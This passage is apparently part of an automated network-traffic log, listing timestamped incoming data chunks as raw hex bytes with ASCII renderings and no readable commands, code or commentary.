1f bc 4a a9 ca 47 9a 3a ee 76 70 83 93 08 f0 a3 09 76 34 f0 0b 72 e7 4d 2d ee 7e e1 b9 ea 50 97 fa ab 6f 33 8c 89 23 Data Ascii: Q_'>kaIk:J8`\|-H=O:]YmEs$UjF_@`=+dF=\|YtyynqRpp{}t}QA_5G][B* m9vUGI%#+o@fJ6WdblM`Td5Or*[iiJG:vpv4rM-~Po3#
2021-09-27 18:14:09 UTC	76	IN	Data Raw: f0 b7 ae 38 6e 80 9b 88 bd fb 0f df 78 fd 9d 54 0d 59 4a aa cb d6 91 35 18 d9 15 07 45 84 17 ee 8a e3 e9 0a 24 02 15 33 51 10 60 85 5e 3c df c2 27 97 bf cc 52 dc 46 c1 11 40 bb a4 ac 51 86 53 ca 68 0c 95 47 13 94 52 db e8 d8 aa 01 93 21 2e 15 f7 2c 5d 32 d1 7f 69 8f db 79 da 7e 6b 3c ba a3 16 a0 5a 5e cd 9f 14 a1 9d 29 0a 0c 3e a4 d0 dc 28 99 a9 4b 2d c8 2d ea 52 2e b9 a6 ef a9 92 dc a2 b2 30 b7 e5 09 c4 25 46 08 60 30 11 d7 f7 c4 2c 1f 14 39 91 39 8b e2 ca e7 c8 7c 53 87 32 85 f7 4f e1 0a 2e 18 81 62 2d ce 6c 92 33 94 ce 89 e7 3d b8 51 26 04 b1 84 9a 0b c0 b9 0d bb 14 14 3f cd 68 5d 22 1d 26 7e f5 27 e7 bc 6f 5a b5 b6 bf b3 07 13 f0 db 3d ff ec 4a 0c 6a a1 6b ef 09 15 2d de f3 97 4b c6 fd ac 45 2a f7 32 f7 01 54 22 1b aa 0c 83 fa b3 c4 84 10 e0 43 71 21 Data Ascii: 8nxTYJ5E$3Q`^<'RF@QShGR!.,]2iy~k<Z^)>(K--R.0%F`0,99\|S2O.b-l3=Q&?h]"&~'oZ=Jjk-KE*2T"Cq!
2021-09-27 18:14:09 UTC	77	IN	Data Raw: 58 f3 de 1a 57 10 b9 60 fa a7 e9 55 1e d8 a7 51 3d eb 97 4c 6c ec 42 6e bf 99 2e 4f c0 b3 a1 4b 2f f7 5a 09 8f aa 5f 0c 54 a6 7d 1c 9a 19 79 06 d7 96 53 89 b6 68 d7 92 4d 74 13 8e d7 7a 72 70 c1 b4 81 7a 71 ad de 00 6e 6e 61 c2 e5 59 5b 35 3b 43 f6 5d 63 d3 e0 ae 71 0d ef 06 f4 1e 68 5a 1a 1c d2 c7 3c 5b c5 de 8d 1e 30 c7 d1 87 cd 7b a5 f9 4f 45 c8 06 c6 f7 a8 d7 a2 a0 95 28 26 8b 65 64 f0 2a 6b 6c 75 b5 e3 e7 6d 8a 69 b9 57 65 71 c5 80 41 e6 69 ea 2f 5e c9 0c a8 ca fc 69 7d 3b 43 ce 78 b4 4b 50 fe be 5d a2 db 4e 93 c9 75 49 77 b9 94 4c da a1 72 0c 23 c0 0a 85 74 4f 2e 93 1f e4 91 44 7e 97 fc 83 08 03 8e 83 1d 68 a8 a3 83 fa 37 11 39 eb 98 a5 28 04 6d 98 4b ec 43 24 28 e6 08 14 6e fc 7b 8e 11 39 50 2d 14 84 eb 6c 38 85 01 88 ce dd 18 00 61 9b b1 98 5a 79 Data Ascii: XW`UQ=LlBn.OK/Z_T}yShMtzrpzqnnaY[5;C]cqhZ<[0{OE(&ed*klumiWeqAi/^i};CxKP]NuIwLr#tO.D~h79(mKC$(n{9P-l8aZy
2021-09-27 18:14:09 UTC	79	IN	Data Raw: 92 b9 c2 82 c3 55 f1 11 68 87 a4 ac 5b 82 4c d1 74 1a 97 73 19 6a 54 e0 18 09 a4 03 8b 28 06 06 e1 d2 56 12 cc 7a 6f 8f d5 7d da 7e 6b 26 41 05 3d 43 59 0d 59 9f 14 af d8 15 0a 0f 49 20 bf c3 2e b3 a3 47 30 d6 1d e1 48 f8 b8 8a f9 a5 ba ef b6 a4 3d b4 ca 0c c3 34 d7 71 4c 32 03 22 fc c1 3a fa 18 15 9a 30 7e e3 e1 ed 31 55 49 80 19 81 ca 84 cd 71 af 12 97 55 4f f3 67 9c 4e 1c d1 90 1d 16 94 43 22 3f ba 83 9a 25 d6 91 23 be 14 1e 38 e8 28 69 23 10 21 60 14 34 35 bf 5b 54 9e d9 b6 5e 0b 3f fb d3 2b 01 ea 7e fc bb 91 69 c4 09 16 da dc 88 1f 47 d9 e7 8b 67 21 eb 45 8b 00 78 33 35 82 3b 86 e9 85 d0 ac 16 e0 43 7b 32 22 91 a4 1a 65 2f 89 06 ef 43 11 07 ee 4e 00 e6 12 66 10 39 94 23 24 04 22 f0 9c 5e be 8d 59 8c 07 8e f8 2e 00 ab 51 6a 51 c9 aa b3 f5 91 6c 56 2b Data Ascii: Uh[LtsjT(Vzo}~k&A=CYYI .G0H=4qL2":0~1UIqUOgNC"?%#8(i#!`45[T^?+~iGg!Ex35;C{2"e/CNf9#$"^Y.QjQlV+
2021-09-27 18:14:09 UTC	80	IN	Data Raw: ff 66 d8 a9 41 48 bc 13 20 0c 87 24 55 6f 22 d4 ba 4a 7d 6e f8 d4 f6 6e 7d 51 5c e3 6e 0f 2a 26 da f0 42 27 e5 65 85 6a 0d 74 17 15 49 64 d7 02 17 d2 5c 2c ba 93 ed d3 95 3d d8 8e bf 81 7a 89 fb f8 41 fc bc db b1 5b d1 bd fe a0 2b b8 8e 07 50 ef 5e f3 40 6a e9 fc b4 c1 8e 76 cc 48 2e ed 66 9f 1f d7 ca e1 04 45 55 0d a0 6b e1 d9 79 3c 28 d1 11 3e b3 4e b3 9c e1 a9 db 49 17 31 6b 07 6a e8 0a 61 26 c0 29 c1 23 c0 0e 33 50 52 49 ce e4 e4 91 40 c8 91 e3 e6 3b 9a 8c 83 35 f4 ae bc 40 e5 49 9c 29 ff d4 a1 1a 9f 7c 79 22 e0 ce 3c 23 e6 93 04 8f 94 48 e2 9a 34 4f 40 10 e6 ec 5f 51 b1 27 3f 2b c0 0f 51 b8 9b b5 b2 e4 7d c1 47 c5 92 1b 34 9d 29 ef 56 fd b7 b6 e2 d4 d7 23 28 b7 b3 a1 7b be 14 93 97 66 eb 14 45 a3 1a e4 57 4b 3b b1 9c 14 9a 45 ed 31 15 f6 47 a2 35 af Data Ascii: fAH $Uo"J}nn}Q\n*&B'ejtId\,=zA[+P^@jvH.fEUky<(>NI1kja&)#3PRI@;5@I)\|y"<#H4O@_Q'?+Q}G4)V#({fEWK;E1G5
2021-09-27 18:14:09 UTC	81	IN	Data Raw: a2 5b 7c cf f0 25 a9 f2 3d 0f 63 06 a2 bf c9 0c 9e cc 74 32 c5 27 e4 27 e4 ba 8a f3 c2 ec ef a7 b8 59 56 d1 0c ce 35 d7 71 4a 30 1b 29 ef f6 2f 04 59 39 98 27 d9 e3 e6 e4 d9 58 4e b2 32 8b f6 99 ce 26 2c 0a 9b 51 6d c9 9b 9e 1f 93 d3 93 31 48 94 43 28 29 9d 57 00 06 cf 9d 23 b3 02 e0 28 d2 21 55 34 10 2e 6e 14 34 35 bf 68 5d b5 10 a7 a4 22 67 f9 c4 2a 17 77 4c 11 8a bf 6b db 0b 3d 39 51 f3 9d 56 cf e8 8a 69 23 ef 2f f7 01 54 35 07 89 3b 81 e2 4b d3 80 34 e2 40 53 26 22 91 bf 5d 77 0f 92 01 fe aa ee 2a c0 5b 13 ed 15 78 f8 c6 b9 0d 0d 11 02 22 98 6c 53 bc 76 8e 53 8c d3 cd af d0 d2 7b 47 de 84 a9 84 92 11 d5 2b a4 a6 c9 df 27 79 4d 48 e9 dc 86 27 41 11 86 b5 1f ef 29 8f fd be b6 c2 30 2f b5 35 4f 3c 0c 8c 5a 1b 22 32 5c a8 32 6f 0b cf 19 f0 cc 1b 1a 52 d0 Data Ascii: [\|%=ct2''YV5qJ0)/Y9'XN2&,Qm1HC()W#(!U4.n45h]"gwLk=9QVi#/T5;K4@S&"]w[x"lSvS{G+'yMH'A)0/5O<Z"2\2oR
2021-09-27 18:14:09 UTC	82	IN	Data Raw: 51 2a 13 37 03 1a 9f 0b 65 7b 6f b8 4b 81 23 2e 7f af 70 f6 b2 a0 32 81 85 a1 e9 58 d9 0f d5 15 ec 8b 54 07 75 57 b1 d5 df 87 53 32 cf eb 0c 06 b3 c5 f5 80 c5 fa 26 21 06 03 56 68 0d 75 82 31 0c c2 d8 d3 b0 82 c6 93 c7 50 ae 26 6a af ae c3 62 88 4c db 43 1d 98 70 70 6b 53 f1 ea 19 8c 12 96 32 03 10 f2 3a 38 0b cc 6d 6e e0 eb 67 24 75 61 35 6f 16 13 b6 34 43 db 9f 1e c4 cb 35 08 06 12 b1 bb eb 58 98 a3 41 28 1d 3e e9 5e c1 b2 9d 23 be ae fc aa 99 20 8e d5 1d c0 35 46 45 62 30 11 46 c5 c4 2c 0e 3f 28 95 30 a3 f0 eb e4 c2 45 71 b3 d6 ab cf 65 cf 0c 3d 14 82 59 72 0b 76 8a 20 92 fa d8 08 38 bc 31 23 2c 8c a9 71 0c d6 9b 30 ad 06 08 01 c9 21 42 32 03 28 66 ee 24 1d ab 2c 6a 9c de aa cf 33 11 f9 ce 06 10 e9 77 06 ac d2 5e ed 0b 37 56 e7 f1 9d 4d ff f2 a7 54 2d Data Ascii: Q*7e{oK#.p2XTuWS2&!Vhu1P&jbLCppkS2:8mng$ua5o4C5XA(>^# 5FEb0F,?(0Eqe=Yrv 81#,q0!B2(f$,j3w^7VMT-
2021-09-27 18:14:09 UTC	83	IN	Data Raw: bc 9e 8e c7 3c a4 de 24 c3 b1 49 4d 5e 85 a7 9e b4 72 c9 7b ed c1 43 36 20 91 1a 3c a1 ea 79 30 da b0 8d c3 cb 88 13 04 51 71 db 23 97 3b f6 e6 a3 a7 5a fa cc 1c 05 98 76 3d 0e 72 a0 5a 52 de 1d 68 06 d7 82 bf 88 b6 6a c5 bd 9d 79 04 52 a5 0c 14 a2 eb 24 d6 7b 71 a3 eb 1f 31 1e 0e 74 79 60 5c 20 ed 55 f1 4c 75 d4 e3 aa ed 1c ed 07 22 20 45 58 08 3d c1 f0 28 a5 ee f2 8f 09 3e c7 d6 8e 25 71 a2 e0 64 40 f4 1b c5 a0 c5 cf a9 a4 b8 1c da 89 34 09 e7 21 6f 41 6d 4b e2 d8 5f a3 6b ba b4 66 66 0a df 56 9d 81 e0 2e 45 c9 18 8f 30 fd 35 7f 23 48 7c 7f a2 a4 47 c1 b8 61 ed db 58 8f 2e 8a 64 59 94 80 0d 13 b9 1a 78 23 d1 0a b8 a8 4c 01 ed 77 f7 95 40 45 93 e4 7d 1a 1f 82 87 2b 96 aa a7 30 04 36 60 03 fa aa ad 2c 03 6b 62 5c 3e 40 10 20 f1 1c 06 90 ec 53 96 f8 33 7c Data Ascii: <$IM^r{C6 <y0Qq#;Zv=rZRhjyR${q1ty`\ ULu" EX=(>%qd@4!oAmK_kffV.E05#H\|GaX.dYx#Lw@E}+06`,kb\>@ S3\|
2021-09-27 18:14:09 UTC	84	IN	Data Raw: c5 f5 80 fb 81 51 71 00 15 33 75 46 77 88 54 23 80 4e d9 96 93 dd b3 d0 49 c1 02 67 b0 b2 52 5a a6 59 d3 63 88 8d 50 2a 30 53 f7 ec 67 0a 00 93 25 15 04 e8 3b 44 31 ce 7c 6b 90 d8 9b 25 53 4d 32 6d 14 1b b3 5f 69 d2 8c 1b ab e3 38 17 4e ca a1 93 f0 28 9a d0 07 32 c5 27 fa 22 a3 f9 88 f9 a7 92 ad a5 b2 3c b7 ee 0e c4 29 31 1f e4 31 1b 2f 8f 86 2e 04 13 47 dc 25 75 e9 ce b0 cd 54 6f 91 39 9c a2 74 c0 0a 3f 1d 88 5e 9b d0 49 8c 31 9b 55 ff 98 3d 94 45 ae 13 8a 81 9b 1e de 8e 33 a8 1b 1e 38 f1 3c 71 c6 11 0a 69 e8 4e d1 bd 43 5b ed 9e a2 a0 00 0a 93 b7 61 03 ed 6c 2a f3 bf 6b e5 1d 0e 5d c1 c7 8e 48 d9 f2 ae 5a 05 16 39 25 43 7a 4c d6 82 3b 82 f2 a4 d6 7a b1 cb 43 7b 35 0a db b4 0c 64 06 e9 c0 e8 54 eb 00 b1 0c 1a ed 18 70 03 b4 d4 0d 26 19 01 b2 99 46 4a a4 Data Ascii: Qq3uFwT#NIgRZYcP0Sg%;D1\|k%SM2m_i8N(2'"<)11/.G%uTo9t?^I1U=E38<qiNC[alk]HZ9%CzL;zC{5dTp&FJ
2021-09-27 18:14:09 UTC	86	IN	Data Raw: 5d b2 d3 c0 29 1f 80 ac 21 2a 49 91 89 72 e3 6f 7b 7b 1c f9 79 8c be 7f d0 6c 83 5a 13 88 ba 7b 3a 71 cb d1 d4 00 b7 ab f4 04 68 0e 11 c2 e5 7b 4a 30 48 07 f4 5d 78 ed a9 87 6a 07 e1 07 9c 6c 05 5a 02 1d fa 82 28 a5 ce fb 98 9f 48 86 d4 9f 39 52 cb f9 64 4d ea fd 52 ff 86 d5 a2 ae 97 48 26 88 12 02 e9 bc 1c 07 77 b5 e9 dc 1f 8a 69 9b 7f 5a 73 60 8a 48 ed e9 56 6b 50 c8 0b b5 49 2b 45 7f 27 57 f6 6c ad b5 40 dd a3 65 57 da 65 82 0f 08 9e 8a 6d 89 57 2a ac 09 6d 2c df 1e 51 57 61 38 ec 69 60 80 48 7c cd fc 83 11 5c 0e 82 35 6e bb a4 39 eb 24 0f 2f f1 bc a7 d6 02 56 50 48 c3 32 7c 21 e6 05 1b fa 8e 16 8e 06 38 78 68 0e 7a e0 68 05 ac 03 a9 35 b0 e7 70 61 9d c6 f2 7a 7b d4 54 9e b9 87 38 aa 02 cd f2 f7 9f fa 7c d2 c2 47 12 01 bc a1 6a 2d 0d b5 19 47 79 35 47 Data Ascii: ])!Iro{{ylZ{:qh{J0H]xjlZ(H9RdMRH&wiZs`HVkPI+E'Wl@eWemWm,QWa8i`H\|\5n9$/VPH2\|!8xhzh5paz{T8\|Gj-Gy5G
2021-09-27 18:14:09 UTC	87	IN	Data Raw: 8a 47 f7 2c 56 2f c7 6a e8 c9 d2 65 25 57 ec 24 6a 0d 3e 96 5a 76 d3 88 98 94 f2 37 09 24 02 a1 bf c9 02 d3 a1 47 3a ce 2f e4 cc bf 39 8b f9 ab 36 d0 a7 b2 37 8c dd 1d c8 0b 38 70 60 3a 08 20 fe c1 a8 15 15 11 c2 27 75 e9 89 77 ce 54 63 91 3a 84 6d 21 cf 0a 2f 03 9b 79 ce d1 65 95 24 11 ee 90 19 3d bc 75 23 2c 80 a9 3e 0d d6 9b 30 b0 02 92 16 fe 23 43 2b 17 1e f7 eb 35 19 ac 46 2b 1c de a0 a1 1b 14 d1 9e 20 01 e7 71 d4 37 94 6b ef 09 15 72 dc f3 97 33 fd e3 a1 5e 30 ed 29 00 17 f4 08 1f 82 3a ae cc b4 d2 a6 2d ec 41 6a 3b 0a cb b5 0c 64 6b 13 07 e8 52 63 39 c2 4c 19 fe 1b 70 03 d6 92 27 7c 13 29 fa 14 6f 40 8c 77 8c 3d 80 fb 97 02 d0 d8 7b 58 e5 da 91 f7 98 7e 57 2a b5 a4 ac ef 26 55 59 5b fa a2 b4 0d 1b 1b ae 89 92 c6 23 85 e6 d6 7c c2 21 2f b3 c2 24 2e Data Ascii: G,V/je%W$j>Zv7$G:/9678p`: 'uwTc:m!/ye$=u#,>0#C+5F+ q7kr3^0):-Aj;dkRc9Lp'\|)o@w={X~W*&UY[#\|!/$.
2021-09-27 18:14:09 UTC	88	IN	Data Raw: 3f 2a 56 ee 85 01 83 e9 85 60 25 aa 13 0a 15 6c 67 00 17 d8 d8 45 21 c5 f2 89 8e 28 c9 d4 9d 30 6b 87 95 b3 c3 f9 8a 40 8d c7 d1 d1 e4 bd 0a 2e f6 5c 09 f0 20 47 03 77 b5 e9 f6 26 4f 69 91 53 16 37 62 80 4b df 38 e3 04 4f e1 43 bd 34 f7 2a f9 22 48 c8 59 b3 a5 46 04 af 5a b8 cb 58 98 06 f8 67 77 91 e5 27 3b a3 03 62 49 b3 4f ad 56 47 05 ac 6d e4 9b 68 6b 95 fc 89 01 5c 08 82 35 6e db e3 24 fa 3d 7e 6b e2 b3 b4 00 46 78 66 40 c2 3a fb 23 e6 0b 71 d6 ff 57 86 2e 75 52 2a 06 52 a2 42 3a a4 6c 25 2c df 65 57 76 91 6b bc 50 4c de 2a d0 ad 8d 1a ba 47 cf f8 23 b7 b0 54 d2 c8 4c 49 0e b3 a1 7b 22 12 8c e7 46 55 14 24 a4 86 e2 29 3d 24 97 0e 12 85 37 e8 12 89 f1 4b e1 1b 52 b5 9e 5b 19 ea d7 31 f2 4e c4 cd 79 a6 69 cb ea c1 76 5e 30 5a 63 cf 11 31 30 37 36 37 1c Data Ascii: ?V`%lgE!(0k@.\ Gw&OiS7bK8OC4"HYFZXgw';bIOVGmhk\5n$=~kFxf@:#qW.uRRB:l%,eWvkPLG#TLI{"FU$)=$7KR[1Nyiv^0Zc10767
2021-09-27 18:14:09 UTC	89	IN	Data Raw: 23 a7 b2 32 11 66 01 c8 39 3a 74 60 21 1f 32 02 c7 00 1a 1b 42 54 27 75 e7 ee 6f a0 5e 64 82 38 87 8e 6d ce 0a 24 7d d9 53 65 db 73 ac 8c 81 c2 94 19 2d 90 5f dc 2d a6 84 92 07 cb 82 27 bb 05 1a 36 f4 dd 43 14 18 20 62 d9 79 06 b6 50 5b 9e cf a4 bd f4 12 d5 c1 0b ef f3 75 06 ba ac 6f f0 00 c3 38 f2 f5 89 6d c6 ef b2 41 23 f9 3c 16 09 86 36 33 8a 33 8f cb 2e cd a6 2d e4 43 6a 33 34 6f b4 20 6d 13 81 02 e8 45 eb 19 ce b2 19 c1 10 4a 03 ff b3 f0 d9 ec 2b f3 9d 29 c9 8d 75 88 06 8c c0 fd 06 d0 cc 6b 51 cd 37 91 f7 83 07 c6 2e 8d ad d0 21 26 55 4c 4f e8 4d b2 09 42 03 bd 86 1d fe 26 9d 1a ac 9e c8 37 a7 93 cb 4e 11 16 97 5e 71 17 21 59 b8 e4 58 25 c7 2b 4e d6 08 1e 49 d2 b0 27 30 07 fa 4b e6 4e ee b1 28 c0 11 6f b7 24 9b 8a 5b a9 60 b8 6b 09 fa 6f d2 d1 89 a7 Data Ascii: #2f9:t`!2BT'uo^d8m$}Ses-_-'6C byP[uo8mA#<633.-Cj34o mEJ+)ukQ7.!&ULOMB&7N^q!YX%+NI'0KN(o$[`ko
2021-09-27 18:14:09 UTC	91	IN	Data Raw: 09 1d fb 01 74 46 72 a2 1d f5 71 8a 71 9a 57 62 67 9e 81 6d f5 68 ea 04 42 d1 f5 be 18 ff 6e 7d 08 ab cc 04 f6 b7 51 d8 94 df a8 db 4f 9d c9 75 4f 6e a2 9c 67 2a a2 09 7c 99 c0 0e be 54 33 1f ee 6f e0 ef 73 54 97 f8 fd 35 33 8c 87 5a f2 a9 a3 20 f6 35 08 2c f2 b0 d1 b3 02 7a 60 59 c4 53 3c 27 e3 01 07 b8 e2 55 8c 00 34 43 26 0e 72 85 d9 3b ae 05 b4 f7 c8 b5 fc 4a 9b b5 b3 6b 72 c8 39 d0 b2 89 36 8c 43 41 45 ef b7 a7 77 c3 c1 c2 bf 06 a5 b3 71 34 3a e2 e7 46 53 07 4e b2 8d f4 b6 39 37 91 11 14 a9 20 da c1 8d f0 5e c0 1e de d5 9d 5b 18 77 c9 30 e3 52 a4 96 43 46 63 b1 fb cb 70 88 38 86 10 e5 3d 3a 36 31 73 eb 12 63 37 65 31 87 6e 57 33 c3 32 01 d6 be 00 b6 ed 0a d8 45 f2 e5 d7 1a 23 b1 e0 44 b2 df 12 15 49 93 cb 2f ff da b7 d5 e8 d0 18 b7 73 d8 fb 8d 44 d4 Data Ascii: tFrqqWbgmhBn}QOuOng*\|T3osT53Z 5,z`YS<'U4C&r;Jkr96CAEwq4:FSN97 ^[w0RCFcp8=:61sc7e1nW32E#DI/sD
2021-09-27 18:14:09 UTC	92	IN	Data Raw: 06 33 6a 42 0e 2b 9c 92 92 12 c6 82 29 bb 05 14 36 f5 dd 43 14 1c 37 71 fb 32 97 0a 71 98 81 d2 b3 aa 0a 02 f3 d3 de 00 c1 65 1a a9 b7 6b fe 01 2b c7 df df 9e 50 ca e9 a1 54 29 f7 20 f7 01 54 35 34 87 03 d3 04 4a 2d a5 14 e0 43 7b 24 12 93 b5 24 6e 04 92 b9 e8 54 fe 10 c9 67 03 ed 15 76 f8 c6 b9 0d 3e 18 29 f7 8d b8 41 a0 77 99 27 8c d4 d5 fc d1 fe 68 7a cf ab 72 f5 e9 c6 d5 2b b1 88 f3 23 25 28 8a 4a ff b7 99 25 41 1b bd b3 1f ef 0b 85 e4 ad 72 c2 21 3a ba c0 65 0b 1c 89 5a 8a 16 1c 5e ba 11 59 0e d9 ed fa fa 0a 09 59 c1 b2 3f df 03 ca b7 cc 60 e4 5a 5e 39 cb 6f b6 26 99 c3 6b ab 6a 8c bd 84 ef 6a d2 d0 b0 fa a3 cf d7 e8 7e b0 a6 3a e8 5c 90 49 fa 86 c0 ef 58 34 b8 fc 52 cf fa ec 32 58 64 d0 17 16 46 93 13 18 e8 7c be fe b1 38 48 38 81 92 e1 fa 26 d9 17 Data Ascii: 3jB+)6C7q2qek+PT) T54J-C{$$nTgv>)Aw'hzr+#%(J%Ar!:eZ^YY?`Z^9o&kjj~:\IX4R2XdF\|8H8&
2021-09-27 18:14:09 UTC	93	IN	Data Raw: 76 83 9c 6f 11 0c 08 7c 25 e6 18 bc 51 66 03 e8 42 fd 80 46 45 92 d4 2d 1a 33 8a a5 3c 44 b6 b2 20 f3 21 6f 45 e2 b3 b4 0e 28 68 65 42 e8 96 38 23 e0 27 26 90 fd 5d a4 a8 33 50 2c 2a a4 a5 56 29 a9 dd e9 05 e8 63 71 6b 8d a6 b5 7b 5b df 2a da 3b af e7 86 47 c9 da 52 b6 b6 78 f4 16 40 20 25 b3 a1 71 0a 2a 8c e7 4c 8b 14 6d 9b 86 e2 42 e4 38 86 07 3e 8f 26 f4 11 a1 48 59 d1 13 79 a4 9e 73 6a 5f d7 37 f2 5e ff b2 41 46 6f 17 c0 c1 67 13 53 50 9d ce 3d 3a 37 09 76 e2 1c 52 39 61 bf 50 7c 57 22 ef 23 08 58 9f 11 b3 fd 0f 56 f2 e0 c4 c1 32 4d 84 e0 42 a1 51 03 1e 37 86 cb 2f fb 3e b6 c6 ee c1 1f 9b 78 cf d7 8f 44 c1 55 02 61 64 01 1c bf f8 65 7b 6f 91 43 90 26 06 0d ae 70 e4 be b1 36 b3 83 b7 86 5a d9 0f df 54 d5 89 54 17 53 46 b4 c6 db 91 3c 13 cd eb 06 38 88 Data Ascii: vo\|%QfBFE-3<D !oE(heB8#'&]3P,V)cqk{[;GRx@ %q*LmB8>&HYysj_7^AFogSP=:7vR9aP\|W"#XV2MBQ7/>xDUade{oC&p6ZTTSF<8
2021-09-27 18:14:09 UTC	95	IN	Data Raw: 69 8a e4 b7 56 dc c9 a1 45 22 f8 38 09 02 78 37 1e f8 41 87 f4 b5 d2 ac 3e f3 73 72 37 1c 93 b5 0c a8 04 92 17 fe 47 e4 3e 14 4c 18 ed 12 70 0d dc 6b 0e 0a 15 3f e3 9f 5a 53 87 75 9f 27 94 2d cc 2e d6 d1 7e 00 d4 93 9a f7 83 1a c8 d5 b4 8e d6 29 30 66 62 54 ec b8 b3 34 4a 05 50 82 31 fa 21 a5 e4 ad b2 42 09 fe a8 cb 48 38 b3 8f 4d 72 31 2f 55 b1 11 59 18 c4 09 05 d7 24 10 72 c1 95 27 21 8f cd b5 e7 63 c4 a2 4f 49 11 7e bd 3d b9 2e 5a 85 4a be b9 89 ed 68 a6 c2 a1 ec b3 f5 c8 e0 6f c8 29 39 c4 54 9b 44 eb 87 c0 22 03 0e 90 f4 52 dc f6 f4 dd 52 5f 2c 3d 38 6e 68 16 39 e8 7e 85 e0 4f 11 64 31 a1 94 c1 fa 37 c3 01 69 95 8e d2 26 bc 46 d2 d5 47 52 04 10 48 8d 72 bf 72 d8 78 eb 20 1d 79 79 97 75 ab bb f9 76 21 cc ac 41 ac c3 b9 4f 71 90 1a 6f ae 94 33 2b 14 b3 Data Ascii: iVE"8x7A>sr7G>Lpk?ZSu'-.~)0fbT4JP1!BH8Mr1/UY$r'!cOI~=.ZJho)9TD"RR_,=8nh9~Od17i&FGRHrrx yyuv!AOqo3+
2021-09-27 18:14:09 UTC	96	IN	Data Raw: ca 02 13 94 89 cd 8c 06 33 43 2f 13 6e f9 46 3a bf 05 bc 3d 21 62 5d 71 99 bc c6 01 7b de 2b a7 5d 87 32 86 58 de e1 fb b7 a7 78 cd d9 b2 09 3e b8 a3 7c 5f f7 8c e7 42 4a 06 56 a5 86 f3 4e 25 32 69 01 3e 8e 35 e6 6f 6e f0 58 d5 0a 45 ba 9b 5b 08 59 c8 3c 1d 59 fb ce 43 3d 8d cb ea c5 4f 26 2f 50 9b d1 33 29 31 22 67 e4 03 72 c7 60 93 3c 7e 46 27 b7 c0 08 58 0d 0e a5 ef 09 56 e3 e6 f0 cf cc 4c 9d e6 56 ac cb 0c 0d 31 a5 da 29 e3 da b7 ea e4 c3 64 77 78 f0 d1 a3 0b cb 46 04 61 27 05 02 41 f5 49 6b 6d f0 a8 90 27 02 1a d3 9d f0 be b5 29 99 92 b1 86 7c dd 10 d3 84 d4 a5 5b 0f 28 a5 b5 c4 df b9 48 07 cd ed 19 64 99 c1 f5 9b e5 f4 2b ce 03 39 32 5f 1b 08 63 5e 35 c4 c7 d3 85 95 c2 93 c5 5c 3f 12 44 aa b3 a0 40 99 4a d1 74 0a 83 53 fc 6b 7f f8 e4 73 6e 01 93 27 Data Ascii: 3C/nF:=!b]q{+]2Xx>\|_BJVN%2i>5onXE[Y<YC=O&/P3)1"gr`<~F'XVLV1)dwxFa'AIkm')\|[(Hd+92_c^5\?D@JtSksn'
2021-09-27 18:14:09 UTC	97	IN	Data Raw: 92 27 08 11 29 f6 8d 6e 81 8d 75 88 20 96 de cd 0b c7 2c 6b 7d cf 98 9c f7 9b 09 2b 2a 99 aa a2 ad 26 55 57 41 e6 be b3 2c 57 e5 af af 1f f8 2e 85 ed b7 4c c3 0d 29 87 c9 65 ae 14 a4 5e 44 14 30 c3 a2 1a 59 c4 cf 13 ea c0 05 26 c3 c1 b5 27 21 0b f1 4b e6 4e cd a1 51 42 18 72 48 23 9f d9 53 aa 17 a0 bc 84 eb 71 df d0 a8 f6 56 e5 e0 e2 7a 8f c9 3a c4 54 a4 aa e1 8c d6 18 47 e6 bb c7 53 c7 ff 89 c1 58 48 d6 23 1d 60 70 0c 2e 16 6e a2 f8 9a fd 55 35 81 9d f8 04 36 e3 17 7d 9d 98 eb ec a2 4f 2a d8 71 59 12 33 4c 79 60 98 7f c1 0d 61 de 1c 5f 02 9c 60 fa a5 f6 70 21 d4 bf a9 53 ee 9e 4e 7e 9a 62 36 bf 9f 26 2b f3 bf a1 44 3a 21 1b 20 8d bb 3d 25 5f b9 7e 8d ce 34 7b 2b d0 c1 13 77 49 91 dc 90 0c 62 23 8a b8 ff 70 70 cb 15 d6 7b 60 bd f8 38 f0 7d 51 c0 e5 79 44 Data Ascii: ')nu ,k}+&UWA,W.L)e^D0Y&'!KNQBrH#SqVz:TGSXH#`p.nU56}OqY3Ly`a_`p!SN~b6&+D:! =%_~4{+wIb#pp{`8}QyD
2021-09-27 18:14:09 UTC	98	IN	Data Raw: 83 32 85 c7 60 a0 77 2e 12 9d 57 4f d1 76 af 35 9d fe 90 19 3c 46 43 22 3d 9c 8a b1 16 d6 96 34 45 15 32 2b e6 28 42 3f 06 d8 76 c6 37 0e b6 43 58 86 20 a1 8c 08 38 fb ef c3 03 ee 62 07 b4 b9 65 ea 64 fb 38 de f5 b7 47 ca d3 a2 45 eb e8 38 09 d3 78 37 0e 80 40 94 fb b5 d6 bb 0d eb 6b a6 33 22 97 c6 8d 6c 04 98 7c 9b 88 ee 06 c4 47 1f ee 6f 78 07 c7 91 08 24 68 23 f1 9b 42 3d a9 74 8e 28 8b d1 c9 6d 0a d3 6a 57 b0 9a 90 f7 96 1f d0 03 24 a3 d1 2b 0a 58 5a 34 6c b3 b3 2f 3c 3f af 83 19 c4 2b 82 ea a8 cf e6 20 2b a8 cc 58 6d 3c 8f 4d 70 10 32 27 ac 1b 59 0d a0 97 f9 d6 02 a6 3c bc a8 26 21 06 e1 bb e3 1f ed b8 5c 46 16 61 b2 5f 92 d1 5b ad 6d a1 b9 f9 cc 6e d2 d4 a3 eb c7 34 cd e8 7f a0 5a 40 ca 5f 88 46 95 05 d4 11 53 a0 d4 96 47 ce fd f0 ce 4b 49 d7 53 c0 Data Ascii: 2`w.WOv5<FC"=4E2+(B?v7CX 8bed8GE8x7@k3"l\|Gox$h#B=t(mjW$+XZ4l/<?+ +Xm<Mp2'Y<&!\Fa_[mn4Z@_FSGKIS
2021-09-27 18:14:09 UTC	99	IN	Data Raw: 6d f6 21 48 c4 72 a0 ce 41 d3 bc 4e af c4 63 5d 1f 62 64 75 98 85 6c 26 8d 18 75 f5 d1 06 79 5f 9b 95 fd 63 e6 80 4e 3b 41 fd 83 1d 20 83 92 32 44 a1 8b b1 fa 37 0a 3c e6 98 b9 56 16 7b 66 4e d3 47 4f ff e7 0f 04 83 ec 46 9d 17 3f 2d 33 0d 7a ee 51 2b bf 05 a1 56 cf 62 71 65 9d aa 9c ae 6a d7 45 cf ba 87 38 ff 5d ce f2 f9 a6 a7 7c c3 c3 23 c7 13 b3 a7 15 5f 0c 8d e7 42 44 05 54 a9 fb f9 49 3a 20 86 11 03 81 4a ee 13 89 f4 49 c0 04 59 c7 e0 46 18 5f d3 20 f2 49 db bc 5e 47 69 cf fb d0 76 57 52 70 9c ce 39 2b 26 33 79 9f 3d 66 39 65 ae 21 6d 58 